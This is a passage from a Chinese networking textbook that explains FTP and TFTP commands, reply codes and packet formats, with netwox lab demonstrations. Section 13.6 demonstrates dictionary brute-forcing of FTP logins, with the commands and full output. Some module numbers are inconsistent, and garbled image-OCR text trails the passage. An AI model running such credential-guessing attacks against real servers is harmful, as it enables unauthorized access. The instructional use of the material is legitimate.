为了方便分析，下面将按照FIP的4个工作流程阶段进行分析。

（1）建立连接。



ftp> open 192.168.59.135                  #客户端请求建立连接
Connected to 192.168.59.135.
220 Welcome                                          #服务器应答，应答码为220



以上输出信息显示客户端向FTP服务器192.168.59.135发起了连接请求，服务器给出了对应的应答码220，表示成功建立了连接。

（2）身份认证。



Name (192.168.59.135:root): sm            #客户端输入的用户名（明文显示），这里为sm
331 User name ok, need password.          #服务器应答，应答码为331
Password:                                 #客户端输入的密码
230 User logged in, proceed.              #服务器应答，应答码为230



以上输出信息显示了客户端输入的用户名和密码，并显示了对应的应答码。用户名的应答码为331，表示还需要客户端输入密码；密码的应答码为230，表示登录成功。

（3）命令交互。



Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir content                                         #客户端执行的命令
200 Connected.                                              #服务器应答，应答码为200
150 Start of file list.                                     #服务器应答，应答码为150
-rwxrwxrwx 1 ftp ftp        18 Sep 11 14:47 file-3.txt      #目录列表信息
-rwxrwxrwx 1 ftp ftp        18 Sep 11 14:47 file-1.txt      #目录列表信息
-rwxrwxrwx 1 ftp ftp        18 Sep 11 14:47 file-2.txt      #目录列表信息
226 Transfer complete.                                      #服务器应答，应答码为226



以上输出信息显示了用户名要执行的命令dir content，表示显示FTP服务器上content的目录列表信息；服务器给出了应答，这里给出了两个应答码。应答码为200，表示FTP服务器可以执行该命令；应答码为150，表示服务器已经准备好了目录列表，打开数据连接，将执行结果发送给客户端。这里显示的目录列表信息可以看到content中有3个文件file-1.txt，file-2.txt和file-3.txt。输出信息最后一行显示了服务器的应答码226，表示执行结果已经返回。

（4）断开连接。



ftp> quit                                                            #客户端指定的断开FTP子命令
221 Service closing control connection.             #服务器应答，应答码为221



以上输出信息显示了客户端执行的断开连接的FTP子命令quit。最后一行显示了服务器的应答，应答码为221，表示服务器确认退出登录。


13.3　FTP命令及应答码

在上述的FTP工作流程中，客户端成功连接FTP服务器以后，进行身了份验证、执行FTP命令等操作。这些操作都是客户端向FTP服务器发出的请求，而这些请求实际上是在发送FTP命令。对于每一个请求，服务器都会返回对应的应答码。例如，客户端输入用户名，实际上就是在发送FTP子命令。该子命令为USER，表示服务器上的用户名。FTP命令及应答码信息如下：



Name (192.168.59.135:root): sm                        #FTP命令，这里为用户名sm
331 User name ok, need password                        #FTP应答码，这里为331



上述操作，通过抓包可以查看到对应的FTP命令和应答码，如图13.2所示。
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图13.2　FTP命令及应答码

图13.2中第8个数据包为客户端向FTP服务器发送的FTP命令，命令为USER，其中sm表示客户端输入的用户名。第9个数据包为FTP服务器对该请求返回的应答，应答码为331。

客户端与FTP服务器之间进行文件传输时，可以执行多种操作。常见的FTP命令如表13.1所示，而常见的FTP应答如表13.2所示。

表13.1　FTP命令
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表13.2　FTP应答
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13.4　FTP内部命令

客户端成功登录FTP服务器后，就可以进入会话模式（ftp>）。在该模式下，不论是在Windows系统，还是UNIX操作系统，都会使用大量的FTP内部命令。熟悉掌握每个内部命令的作用，有助于客户端与FTP服务器之间的数据传输。FTP内部命令及作用如表13.3所示。

表13.3　FTP内部命令
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13.5　FTP基本使用

有了FTP服务器以后，客户端就可以与其建立连接，进行登录，然后进行文件传输，并实现各种操作，如上传文件/目录、下载文件/目录、列出目录信息等操作。下面介绍FTP操作的基本使用。


13.5.1　构建FTP服务器

使用FTP服务，首先需要构建一个FTP服务器。为了便于测试，这里使用netwox工具中编号为168的模块，它可以在主机上构建一个FTP服务器。其语法格式如下：



netwox 168 -l login -L password



其中，-l选项用来指定FTP服务器登录的用户名；-L选项用来指定FTP服务器登录的密码。


13.5.2　下载文件及校验

为了检查文件在传输过程中是否有损坏，需要对文件进行校验。一般情况下，会在文件传输之前计算它的哈希值，传输后再次计算它的哈希值。如果两次的哈希值一样，则表示文件没有损坏。netwox工具提供编号为174的模块，它可以从FTP服务器端下载文件，并检查它的MD5哈希值。其语法格式如下：



netwox 174 -i IP -F file -m MD5 -u login -a password



其中，-i选项指定FTP服务器的IP地址；-F选项指定要下载的文件名称；-m选项指定文件预期的MD5哈希值；-u选项指定FTP服务器登录的用户名；-a选项指定登录的密码。

【实例13-2】已知FTP服务器的IP地址为192.168.59.135，登录用户名为sm，密码为123。在该服务器上有一个file.txt文件。使用netwox工具，下载该文件，并校验其哈希值。

（1）假设文件的哈希值为c23f95941f9e226044a622c925b5fd2b，执行命令如下：



root@daxueba:~# netwox 174 -i 192.168.59.135 -F file.txt 4566.txt –m
    c23f95941f9e226044a622c925b5fd2b -u sm -a 123



执行命令后，没有输出任何信息，表示下载文件file.txt的哈希值和指定值是一致的。

（2）如果提供一个错误的哈希值12345678901234567890123456789012，执行命令如下：



root@daxueba:~# netwox 174 -i 192.168.59.135 -F file.txt -m 1234567890
    1234567890123456789012 -u sm -a 123



输出信息如下：



MD5 is c23f95941f9e226044a622c925b5fd2b instead of 12345678901234567890
    123456789012



以上输出信息表示，file.txt文件的MD5哈希值不是12345678901234567890123456789012，而是c23f95941f9e226044a622c925b5fd2b。


13.5.3　列出FTP服务器上目录列表信息

成功登录FTP服务器以后，用户就可以查看服务器上的目录信息了。netwox工具提供了一个编号为111的模块，它可以列出当前目录下的所有信息，但不能列出子目录中的信息。其语法格式如下：



netwox 111 -i IP --dir file.txt -u login -a password



其中，-i选项指定FTP服务器的IP地址；--dir选项指定要列出的目录名称；-u选项指定登录的用户名；-a选项指定登录的密码。

【实例13-3】已知FTP服务器上有一个目录content。使用netwox工具列出该目录中的信息，具体步骤如下：

（1）在FTP服务器上，查看该目录的信息，执行命令如下：



root@daxueba:~# ls content/



输出信息如下：



dir-1  dir-2  file.txt  pass-1.txt  pass-2.txt



以上输出信息表示该目录中包含了3个文件和2个目录。

（2）使用netwox工具，在客户端列出该文件夹的目录信息，执行命令如下：



root@daxueba:~# netwox 111 -i 192.168.59.135 --dir content -u sm -a 123



输出信息如下：



pass-1.txt (file of size 23)
file.txt (file of size 27)
pass-2.txt (file of size 18)
dir-2 (dir)
dir-1 (dir)



将以上输出信息与步骤（1）的输出信息对比可以看出，成功列出了该目录中的所有信息，包含的文件分别为pass-1.txt，file.txt和pass-3.txt，并且给出了对应的大小。


13.5.4　下载文件

成功登录FTP服务器以后，用户就可以从服务器上下载文件了。netwox工具提供了编号为112的模块，它可以从FTP服务器上下载指定文件。其语法格式如下：



netwox 112 -i IP -F file1.txt -f file2.txt -u login -a password



其中，-i选项指定FTP服务器的IP地址；-F选项指定FTP服务器上的文件名称，即要下载的文件；-f选项指定下载到本机后的文件名称；-u选项指定登录的用户名；-a选项指定登录的密码。

【实例13-4】从FTP服务器上下载文件file.txt，下载后的文件名称命名为keep.txt。执行命令如下：



root@daxueba:~# netwox 112 -i 192.168.59.135 -F file.txt -f keep.txt -u sm
    -a 123



执行命令后没有任何输出信息，但是会成功下载文件file.txt，下载后的文件名为keep.txt。


13.5.5　上传文件

成功登录FTP服务器以后，用户还可以向服务器上传文件。netwox工具提供了编号为113的模块，实现文件上传功能。其语法格式如下：



netwox 113 -i IP -f file1.txt -F file2.txt -u login -a password



其中，-i选项指定FTP服务器的IP地址；-f选项指定要上传的文件名称，即本地文件；-F选项指定上传到FTP服务器后的文件名称；-u选项指定登录的用户名；-a选项指定登录的密码。

【实例13-5】将本地文件keep1.txt上传到FTP服务器上，命名为keep2.txt。执行命令如下：



root@daxueba:~# netwox 113 -i 192.168.59.135 -f keep1.txt -F keep2.txt –u
    sm -a 123



执行命令后没有任何输出信息，但是会将本地文件keep1.txt上传到FTP服务器上，文件名为keep2.txt。


13.5.6　FTP删除文件

登录FTP服务器后，用户还可以在客户端上删除FTP服务器上的文件。netwox工具提供了编号为114的模块实现该功能。其语法格式如下：



netwox 114 -i IP -F file -u login -a password



其中，-i选项指定FTP服务器的IP地址；-F选项指定要删除FTP服务器上的文件名称；-u选项指定登录的用户名；-a选项指定登录的密码。

【实例13-6】删除FTP服务器上的file.txt文件，执行命令如下：



root@daxueba:~# netwox 114 -i 192.168.59.135 -F file.txt -u sm -a 123



执行命令后没有任何输出信息，但是会将FTP服务器上的file.txt文件删除。


13.5.7　下载目录

netwox工具中编号为112的模块可以下载指定的文件。如果要下载服务器上某个目录，需要使用编号为114的模块。该模块不仅可以下载目录，还可以列出目录及子目录信息。其语法格式如下：



netwox 114 -i IP -F DIR1 -f DIR2 -u login -a password



其中，-i选项指定FTP服务器的IP地址；-F选项指定FTP服务器的目录名称；-f选项用来指定下载的目录在本地显示的目录名称；-u选项用来指定FTP服务器登录的用户名；-a选项用来指定FTP服务器登录的密码。

【实例13-7】已知FTP服务器上有一个目录Dir，使用netwox工具下载该目录的所有内容。具体步骤如下：

（1）查看目录Dir包含的信息，执行命令如下：



root@daxueba:~# ls Dir -R



输出信息如下：



Dir:
dir-1  dir-2  dir-3  pass.txt

Dir/dir-1:
file-1.txt

Dir/dir-2:
file-2.txt

Dir/dir-3:
file-3.txt



以上输出信息表示目录Dir中包含了3个子目录，分别为dir-1，dir-2和dir-3，还包含了一个文件pass.txt。在子目录dir-1中包含了一个文件file-1.txt，在子目录dir-2中包含了一个文件file-2.txt，在子目录dir-3中包含了一个文件file-3.txt。

（2）使用netwox工具从FTP服务器下载目录Dir中的所有目录信息，下载后目录名称为DIR，执行命令如下：



root@daxueba:~# netwox 115 -i 192.168.59.135 -F Dir -f DIR -u sm -a 123



输出信息如下：



DIR/dir-3
DIR/dir-3/file-3.txt
DIR/dir-2
DIR/dir-2/file-2.txt
DIR/pass.txt
DIR/dir-1
DIR/dir-1/file-1.txt



将以上输出信息与步骤（1）的输出信息进行对比，可以看出成功下载了所有的信息。


13.5.8　上传目录

登录FTP服务器以后，用户不仅可以从服务器下载整个目录，还可以将本地的目录上传到FTP服务器。netwox工具提供了编号为116的模块，它可以进行递归上传，将本地目录以及子目录中的内容都上传到服务器。其语法格式如下：



netwox 116 -i IP -f DIR1 -F DIR2 -u login -a password



其中，-i选项指定FTP服务器的IP地址；-f选项指定要上传的本地目录名称；-F选项指定上传到FTP服务器的目录名称；-u选项指定登录的用户名；-a选项指定登录的密码。

【实例13-8】将本地目录DIR上传到服务器，上传后的目录名称设置为Mydir，执行命令如下：



root@daxueba:~# netwox 116 -i 192.168.59.135 -f DIR -F Mydir -u sm -a 123



输出信息如下：



DIR/dir-3
DIR/dir-3/file-3.txt
DIR/dir-2
DIR/dir-2/file-2.txt
DIR/pass.txt
DIR/dir-1
DIR/dir-1/file-1.txt



以上输出信息显示了上传目录的所有文件和子目录，可以看到上传了目录下的子目录dir-1，dir-2，dir-3和多个文件。


13.5.9　递归删除目录

如果FTP服务器上的某个目录不再需要，可以将其删除。netwox工具中编号为117的模块提供了删除目录的功能。它可以递归删除目录中的所有信息，包括子目录及子目录下的所有内容。其语法格式如下：



netwox 117 -i IP -F DIR -u login -a password



其中，-i选项指定FTP服务器的IP地址；-F选项指定要删除的FTP服务器上的目录名称；-u选项指定登录的用户名；-a选项指定登录的密码。

【实例13-9】删除FTP服务器上的Mydir目录，执行命令如下：



root@daxueba:~# netwox 117 -i 192.168.59.135 -F Mydir -u sm -a 123



输出信息如下：



Entering directory Mydir
Entering directory dir-3
Deleting file file-3.txt
Leaving directory dir-3
Deleting directory dir-3
Entering directory dir-2
Deleting file file-2.txt
Leaving directory dir-2
Deleting directory dir-2
Deleting file pass.txt
Entering directory dir-1
Deleting file file-1.txt
Leaving directory dir-1
Deleting directory dir-1
Deleting directory Mydir



以上输出信息显示了递归删除目录内容的整个过程。例如，首先进入目录Mydir。由于该目录中包含子目录dir-3，再进入子目录dir-3中；将该子目录中的文件file-3.txt进行删除，然后离开子目录dir-3，删除该子目录。以此类推，删除指定目录中的所有信息。


13.6　暴力破解FTP服务

登录FTP服务器需要正确的用户名和密码。如果不知道用户名和密码，就无法登录。netwox工具提供了编号为130的模块，它可以对FTP服务器的用户名和密码实施暴力破解。它使用用户名和密码字典进行匹配，猜测正确的登录用户名和密码。其语法格式如下：



netwox 130 -i IP -l user.file -w pass.file



其中，-i选项指定FTP服务器的IP地址；-l选项指定用户名字典文件，-w选项指定密码字典文件。

【实例13-10】已知FTP服务器的IP地址为192.168.59.135。现有一个用户名字典文件user.txt，一个密码字典文件password.txt。使用这两个字典文件，暴力破解FTP服务器的用户名和密码。



root@daxueba:~# netwox 130 -i 192.168.59.135 -l user.txt -w password.txt



输出信息如下：



Trying(thread1) "admin" - "root"
Trying(thread2) "admin" - "linux"
Trying(thread3) "admin" - "123abc"
Trying(thread4) "admin" - "123"
Trying(thread5) "root" - "root"
Couple(thread1) "admin" - "root" -> bad
Trying(thread1) "root" - "linux"
Couple(thread2) "admin" - "linux" -> bad
Trying(thread2) "root" - "123abc"
Couple(thread3) "admin" - "123abc" -> bad
Trying(thread3) "root" - "123"
Couple(thread4) "admin" - "123" -> bad
Trying(thread4) "sm" - "root"
Couple(thread5) "root" - "root" -> bad
Trying(thread5) "sm" - "linux"
Couple(thread3) "root" - "123" -> bad
Trying(thread3) "sm" - "123abc"
Couple(thread1) "root" - "linux" -> bad
Trying(thread1) "sm" - "123"
Couple(thread5) "sm" - "linux" -> bad
Trying(thread5) "" - "root"
Couple(thread2) "root" - "123abc" -> bad
Trying(thread2) "" - "linux"
Couple(thread4) "sm" - "root" -> bad
Trying(thread4) "" - "123abc"
Couple(thread1) "sm" - "123" -> good
Trying(thread1) "" - "123"
Couple(thread2) "" - "linux" -> bad
Couple(thread3) "sm" - "123abc" -> bad
Couple(thread5) "" - "root" -> bad
Couple(thread4) "" - "123abc" -> bad
Couple(thread1) "" - "123" -> bad



以上输出信息显示了暴力破解的整个过程。它将用户名字典文件user.txt中的每一个用户名与密码字典文件password.txt中的所有密码进行配对使用。如果登录成功，显示为good；否则，显示为bad。当使用用户名sm与密码123进行登录时，显示为good，表示FTP服务器登录的用户名为sm，密码为123。

如果用户知道用户名而不知道密码，可以直接使用用户名，指定密码字典即可。执行命令如下：



root@daxueba:~# netwox 130 -i 192.168.59.135 -L sm -w password.txt



输出信息如下：



Trying(thread1) "sm" - "root"
Trying(thread2) "sm" - "linux"
Trying(thread3) "sm" - "123abc"
Trying(thread4) "sm" - "123"
Couple(thread1) "sm" - "root" -> bad
Couple(thread2) "sm" - "linux" -> bad
Couple(thread3) "sm" - "123abc" -> bad
Couple(thread4) "sm" - "123" -> good




第14章　TFTP服务

简单文件传输协议（Trivial File Transfer Protocol，TFTP）是TCP/IP协议族中一种简单的文件传输协议，用来在客户端与服务器之间进行文件传输。本章将讲解基于该协议的TFTP服务。


14.1　TFTP协议概述

TFTP基于UDP协议进行文件传输。与FTP协议不同的是，TFTP传输文件时不需要用户进行登录。它只能从文件服务器上下载或上传文件，不能列出目录。本节将讲解TFTP协议的工作方式。


14.1.1　协议模式

TFTP协议模式类似于客户端发送请求，服务器进行响应。由于TFTP是基于UDP协议的，而UDP数据包本身就不是很安全，即发送端发送的数据是否能成功到达接收端是不能确定的。因此，为了能够让发送端知道接收端已经接收到了发送端发来的数据包，接收端对接收到的每一个数据包都进行确认。


14.1.2　报文类型

TFTP客户端与服务器进行信息交互的过程中有5种报文类型。每种报文类型及含义如下：

·Read Request（RRQ）：请求读取报文，表示客户端向TFTP服务器发送读取请求，希望从TFTP服务器上读取文件，即下载文件。

·Write Request（WRQ）：请求写入报文，表示客户端向TFTP服务器发送写入请求，希望向TFTP服务器写入文件，即上传文件。

·Data（DATA）：传输数据包报文，表示客户端与TFTP服务器之间进行文件的数据传输。

·Acknowledgment（ACK）：确认报文，表示对请求读取、请求写入和传输数据包进行确认。

·Error（ERROR）：差错报文，在文件传输过程中，如果出现读取和写入错误，将会产生这种数据包。


14.1.3　构建TFTP服务器

为了能够验证TFTP协议工作机制，需要构建一个TFTP服务器。netwox工具提供了编号为167的模块，它可以构建TFTP服务器，允许用户完成简单的文件传输任务。其语法格式如下：



netwox 167




14.2　下载文件

下载文件是指客户端从TFTP服务器上下载文件。本节讲解客户端如何从TFTP服务器进行文件下载，以及下载所涉及的各类型的数据包。


14.2.1　工作流程

客户端会向TFTP服务器发送请求读取（RRQ）数据包，指明要从服务器上读取的文件。如果TFTP服务器接收了该请求，将打开连接，向客户端发送请求获取的文件数据。发送的数据包是以定长512字节进行传输。如果文件数据大于512字节，将分成多个数据包进行传输。由于每个数据包都需要得到确认，所以发送的每个数据包都包含数据编号，并且从1开始进行排序。当发送的数据包小于512字节，则表示这是最后一个数据包，传输即将结束。其工作流程如图14.1所示。

图14.1中显示了客户端从TFTP服务器上下载文件信息的工作流程，每个步骤含义如下：

（1）客户端向TFTP服务器发送读取请求（RRQ）。

（2）TFTP服务器将文件数据返回给客户端，这里是第1个数据包（DATA包），数据编号为1，大小为512字节。

（3）客户端对发来的数据，即编号为1的DATA包进行确认。

（4）服务器收到客户端的确认以后，继续发送第2个DATA包，数据编号为2，大小为512字节。

（5）客户端对发来的数据，即编号为2的DATA包进行确认，向服务器发送数据编号为2的ACK包。

（6）服务器收到客户端的确认以后，继续发送第3个DATA包，数据编号为3。此时，该数据包是文件的最后数据信息，大小小于512字节。
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图14.1　工作流程

（7）客户端收到服务器发来的DATA包，查看数据编号为3，并且大小小于512字节，就认为服务器已经将文件的数据信息全部发送给了自己（客户端），表示下载完成。客户端对最后的DATA数据包进行确认，向服务器发送数据编号为3的ACK包。


14.2.2　报文格式

图14.1中的工作流程中涉及3种类型的数据包，即RRQ，DATA和ACK。下面介绍这三种类型数据包的报文格式。

（1）RRQ请求报文格式

RRQ类型的请求包是读取服务器上指定文件的信息。因此，该类型数据包的报文中包含了文件名字段。文件信息数据进行传输时需要指定传输模式，因此报文中还包含了模式字段。RRQ请求包格式如图14.2所示。
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图14.2　RRQ请求包格式

每个字段含义如下：

·操作码：表示TFTP报文类型，这里为Read Request，值为1。

·文件名：位于TFTP服务器上的文件名称。

·0：表示文件字段要以0字节作为结束。

·模式：表示数据格式。如果为netascii时，表示主机必须将数据转换为ASCII格式；如果为octet时，表示使用8bit的字节流传输。

·0：这里表示模式字段要以0字节作为结束。

（2）DATA报文格式

DATA报文是用来传输数据的，因此报文中包含了“数据”字段。由于传输的数据包往往是多个，需要添加对应的编号，因此报文中包含了“数据编号”字段。DATA报文格式如图14.3所示。
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图14.3　DATA报文格式

每个字段含义如下：

·操作码：表示TFTP报文类型，这里为Data Packet，值为3。

·数据编码：数据包对应的编号，从1开始进行排序。

·数据：传输的文件数据及大小。

（3）ACK报文格式

ACK是对每个DATA包的确认，由于每个DATA包的数据编号不同，因此该报文中包含数据编号字段。ACK报文格式如图14.4所示。
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图14.4　ACK报文格式

每个字段含义如下：

·操作码：表示TFTP报文类型，这里为Acknowledgement，值为4。

·数据编号：用来对应DATA包中的“数据编号”字段。


14.2.3　构建RRQ包

为了能够更清晰地了解TFTP下载文件的整个过程，下面进行文件下载操作。在netwox工具中，编号为165的模块可以从TFTP服务器上下载指定的文件。其语法格式如下：



netwox 165 -i IP -F file1 -f file2



其中，-i选项指定TFTP服务器的IP地址；-F选项指定TFTP服务器上的文件名称；-f选项用来指定文件下载后保存的名称。

【实例14-1】已知TFTP服务器的IP地址为192.168.59.135，在该服务器上存在一个test.txt文件。在192.168.59.133主机上使用netwox工具下载该文件。具体步骤如下：

（1）在TFTP服务器上查看test.txt文件的大小，执行命令如下：



root@daxueba:~# du -b test.txt



输出信息如下：



1226       test.txt



其中，1226表示文件大小为字节，test.txt为文件名称。表示该文件大小为1226字节。

（2）下载该文件到本地主机，下载后命名为Test-keep.txt，执行命令如下：



root@daxueba:~# netwox 165 -i 192.168.59.135 -F test.txt -f Test-keep.txt



执行命令后没有任何输出信息，但是会成功下载test.txt文件。

（3）通过抓包查看下载文件整个过程产生的数据包，如图14.5所示。
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图14.5　下载文件数据包

图14.5中，第28～34个数据包为下载文件整个过程的数据包。第28个数据包为客户端构建的RRQ请求包。通过包的基本信息可以看到源IP地址为192.168.59.133，目标IP地址为192.168.59.135，Info列中的信息为Read Request。在Trivial File Transfer Protocol部分显示了报文格式，含义如下：



Trivial File Transfer Protocol
    Opcode: Read Request (1)                        #操作码，这里值为1，表示是一个RRQ请求
    Source File: test.txt                           #要下载的文件名
    Type: octet                                     #数据格式为octet



（4）第29个数据包是一个DATA（传输数据）包，如图14.6所示。

该数据包为TFTP服务器返回给客户端的第一个DATA包，用来传输文件信息。通过包的基本信息可以看到源IP地址为192.168.59.135，目标IP地址为192.168.59.133，Info列中的信息为Data Packet。其报文格式及信息如下：



Trivial File Transfer Protocol
    Opcode: Data Packet (3)                  #操作码，这里值为3，表示是一个DATA包
    [Source File: test.txt]                  #要下载的文件名
    Block: 1                                 #数据编码
Data (512 bytes)
    Data: 24377a243224313924302424382436303739313432646165...      #数据
    [Length: 512]                            #数据大小
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图14.6　DATA包

从输出信息可以看到，服务器返回的文件数据信息，这里数据编码为1，说明这是返回的第一个DATA包，数据大小为512字节。

（5）第30个数据包为客户端返回给服务器的确认包，是对服务器发来的DATA包的确认，如图14.7所示。通过包的基本信息可以看到源IP地址为192.168.59.133，目标IP地址为192.168.59.135，Info列中的信息为Acknowledgement。在报文字段中可以看到，数据编码为1，表示该包是第一个DATA包的确认包。

[image: ]


图14.7　确认包

（6）第31个数据包为服务器第二次给客户端发送的DATA包，如图14.8所示。通过包的基本信息可以看到源IP地址为192.168.59.135，目标IP地址为192.168.59.133，Info列中的信息为Data Packet。在报文字段信息中，可以看到与第30个数据包不同的是，这次的数据编码为2，说明这是发送的第2个DATA包，数据大小为512字节。第32个数据包为客户端返回的确认包。
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图14.8　第2个DATA包

（7）第33个数据包为服务器第3次给客户端发送的DATA包，如图14.9所示。在报文字段中，可以看到Block的值为3，表示这是第3个DATA包，Length的值为202，表示该数据包大小为202字节，它小于512字节，说明该DATA包是服务器向客户端发送的最后一个DATA包。
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图14.9　第3个DATA包

（8）第34个数据包为客户端对服务器发送的最后一次确认包，如图14.10所示。在该数据包的报文字段中可以看到Block的值为3，表示是对最后一个DARA包的确认，是客户端发送给服务器的ACK包。此时完成了整个文件下载过程。通过前面介绍知道文件test.txt大小为1226字节，服务器向客户端发送的第1个和第2个DATA包大小都为512字节，第3个DATA包大小为202，这3个DATA包大小加起来正好为1226字节。
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图14.10　对最后一个DATA包的确认

在进行文件下载时，为了判断文件是否在传输过程中有损坏，可以在下载文件时对文件进行MD5值校验。netwox工具的第176个模块提供了该功能。它可以从TFTP服务器上下载指定文件并检查文件的MD5值。其语法格式如下：



netwox 176 -i IP -F file -s MD5



其中，-i选项用来指定TFTP服务器的IP地址，-F选项用来指定TFTP服务器上的文件名称，-s选项用来指定预期的MD5哈希值。

【实例14-2】以【实例14-1】中的test.txt文件为例进行文件下载并检查其MD5值。这里假设文件的MD5值为12345678901234567890123456789012，执行命令如下：



root@daxueba:~# netwox 176 -i 192.168.59.135 -F test.txt –s
"12345678901234567890123456789012"



输出信息如下：



MD5 is e68fa2ccc1acea5d1173f2669fbc69e4 instead of 12345678901234567890
123456789012



上述输出信息表示给定的值不正确。下载文件的MD5值应该为e68fa2ccc1acea5 d1173f2669fbc69e4。在执行命令时，没有输出结果，表示指定的MD5值正确。


14.3　上传文件

上传文件指的是客户端将本地上的文件上传到TFTP服务器上。下面介绍客户端如何进行文件上传，以及上传时所涉及的各类型数据包。


14.3.1　工作流程

客户端会向TFTP服务器发送请求写入（WRQ）数据包，指明要写入的文件。如果TFTP服务器允许该文件的写入，就返回一个ACK确认包，该包的编号为0。客户端收到服务器的确认包以后，就开始向服务器写入文件。文件数据以定长512字节进行传输，与RRQ包的传输方式一样，传输的每一个文件数据包都会得到服务器返回的确认包，并且数据包的数据编号也是从1开始。其工作流程如图14.11所示。

[image: ]


图14.11　工作流程

图14.11中显示了客户端向TFTP服务器上传文件信息的工作流程，每个步骤含义介绍如下：

（1）客户端向TFTP服务器发送写入请求（WRQ）。

（2）服务器收到客户端的WRQ请求后，同意该请求，返回ACK确认包。这里的确认包的数据编号为0。

（3）客户端收到请求的确认包以后，得知服务器已经同意文件上传。客户端开始进行文件上传，向服务器发送文件信息数据。首先发送第1个DATA包，大小为512字节，此时包的数据编号为1，因为步骤（2）中已经使用了数据编号0。

（4）服务器收到客户端发来的数据编号为1的DATA包，并进行确认，向客户端发送数据编号为1的ACK包。

（5）客户端收到第1个DATA包返回的ACK包后，继续向服务器发送第2个DATA包，大小为512字节，此时的数据编号为2。

（6）服务器对第2个DATA包进行确认，向客户端发送数据编号为2的ACK包。

（7）客户端收到第2个DATA包返回的ACK包后，继续向服务器发送第3个DATA包，大小小于512字节，此时的数据编号为3。

（8）服务器收到发来第3个的DATA包，发现包大小小于512字节，就认为客户端已经将文件的数据信息全部发送给了自己（服务器），表示上传完成。服务器对最后的DATA数据包进行确认，向客户端发送数据编号为3的ACK包。


14.3.2　构建WRQ包

为了能够更清晰地了解TFTP上传文件的整个过程，下面演示该操作。在netwox工具中，编号为166的模块可以将客户端的文件上传到TFTP服务器上。其语法格式如下：



netwox 166 -i IP -f file1 -F file2



其中，-i选项指定TFTP服务器的IP地址；-f选项指定本地的文件名称；-F选项指定本地文件上传到服务器后的文件名称。

【实例14-3】已知TFTP服务器的IP地址为192.168.59.135，本地文件Test-keep.txt大小为1226字节。使用netwox工具将该文件上传到TFTP服务器上。具体步骤如下：

（1）上传文件，上传后的文件命名为keep.txt，执行命令如下：



root@daxueba:~# netwox 166 -i 192.168.59.135 -f Test-keep.txt -F keep.txt



执行命令后没有任何输出信息，但是会成功将文件上传到TFTP服务器上。

（2）抓包，并查看上传文件整个过程产生的数据包，如图14.12所示。

[image: ]


图14.12　文件上传

图14.12中，第4～11个数据包为上传文件整个过程的数据包。第4个数据包为客户端构建的WRQ请求包。通过包的基本信息可以看到，源IP地址为192.168.59.133，目标IP地址为192.168.59.135，Info列中的信息为Write Request。在Trivial File Transfer Protocol部分显示了报文格式，含义如下：



Trivial File Transfer Protocol
    Opcode: Write Request (2)                   #操作码，这里值为2，表示是一个WRQ请求
    DESTINATION File: keep.txt                  #上传后的文件名
    Type: octet                                 #数据格式为octet



（3）第5个数据包是服务器返回的确认（ACK）包，如图14.13所示。通过包的基本信息可以看到，源IP地址为192.168.59.135，目标IP地址为192.168.59.133，Info列中的信息为Acknowledgement。在报文字段信息中可以看到，Block值为0，表示该确认包的数据编码为0。
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图14.13　ACK包

（4）第6个数据包为客户端向服务器上传文件时，发送数据信息的第一个DATA包，如图14.14所示。通过包的基本信息可以看到，源IP地址为192.168.59.133，目标IP地址为192.168.59.135，Info列中的信息为Data Packet。在报文字段信息中可以看到，此时数据编码为1，传输的数据大小为512字节。
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图14.14　第1个DATA包

（5）第7个数据包为服务器返回给客户端的确认包，是对客户端发来的DATA包的确认，如图14.15所示。通过包的基本信息可以看到，源IP地址为192.168.59.135，目标IP地址为192.168.59.133，Info列中的信息为Acknowledgement。在报文字段中可以看到，数据编码为1，表示该包是第1个DATA包的确认包。

（6）第8个数据包为客户端第2次给服务器发送的DATA包，如图14.16所示。通过包的基本信息可以看到，源IP地址为192.168.59.133，目标IP地址为192.168.59.135，Info列中的信息为Data Packet。在报文字段信息中，数据编码为2，说明这是发送的第2个DATA包，数据大小为512字节。第9个数据包为服务器返回的确认包。
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图14.15　确认包
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图14.16　第2个DATA包

（7）第10个数据包为客户端向服务器发送的最后一个DATA包，如图14.17所示。该包的Info信息中可以看到(last)字样，表示这是上传文件时发送文件信息的最后一个DATA包，在报文字段中可以看到，该DATA包的大小为202。第11个数据包为服务器对客户端发送的最后一个DATA包的确认包。此时完成了上传文件的整个过程。
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图14.17　最后一个DATA包

OEBPS/Image00088.jpg
el

k=, BRI AL T 0. 7f}> '

K=





OEBPS/Image00210.jpg
Destination Protocol Info
133 TELNET Teln

28 192.168.59.133 192.168.59.135 TCP 42384 — 23 [ACK] Seq=23 Ac
»

» Transmission Control Protocol, Src Port: 23, Dst Port: 42384, Seq: 56
~ Telnet

ta: P ord






OEBPS/Image00087.jpg
|«<_. iy aﬁln;ﬁwm
/

6 BRI B 7075780 e

AR, B4 SR
&@ W L XRERERN ) '
- ( BRAFN T 9 e

9 et WRRAH T )






OEBPS/Image00211.jpg
No. ~ Source Destination Protocol Info
192.1 59.135 TELNET Telnet Data

» Transmission Control Protocol, Src Port: 42384, Dst Port: 23
~ Telnet

Dat \r\n






OEBPS/Image00090.jpg
K AERF w a5 & E it A
uucp-path 117 UUCPER {2155
nntp 119 USENET¥ LEIPS
nbsession 139 NetBIOS 5
IMAP4 143 [ESESE el Plrista
BGP 179 IR EPSIN
IRC 194 ELIEIA 4RI
SLP 427 55 A3 BB
HTTPS 443 I AL 4 X TLS/SSL
dantz 497 5
rsync 873






OEBPS/Image00208.jpg
~ Source Destination Protocol Info

| 24 192.168.59.133 192.168.59.135 TCP 42384 ~ 23 [ACK] Se
‘ »

» Transmission Control Protocol, Src Port: 23, Dst Port: 42384,

Data: Welcome 192.168.59.133\r\n
Data: Login:





OEBPS/Image00089.jpg
BB ERF = R
tepmux 1 TCP3i 1 5% % i 55 i 2
Echo 7 [l &
discard 9 PoFees
systat 11 il
daytime 13 I} 1]
netstat 15 EEINS
qotd 17 AEH5H
chargen 19 TR AR
ftp-data 20 SO O
FTP 21 SO B s
ssh 22 4 4=Shell
Telnet 23 L3 4 4% 3B
SMTP 25 ] BPLIS 1 i BRI
new-fe 27 NSWIJH /" &4t
time 37 ] T % 55 P
name 42 T W4 FR IR 55 R
domain 53 BAMSFLT (DNS)
gopher 70 Gopherflit %
finger 79 Finger
http 80 WWWII 5%
link 87 TTY
supdup 95 SUPDUPH}HX
pop2 109 I )= B2
pop3 110 )= B3
auth 113 G YR 55






OEBPS/Image00209.jpg
No. ~ Source Destination Protocol Info
26 192.168.59.133 168.59.135 TELNET T

» Transmission Control Protocol, Src Port: 42384, Dst Port: 23,

Data: sm\r\n





OEBPS/Image00091.jpg
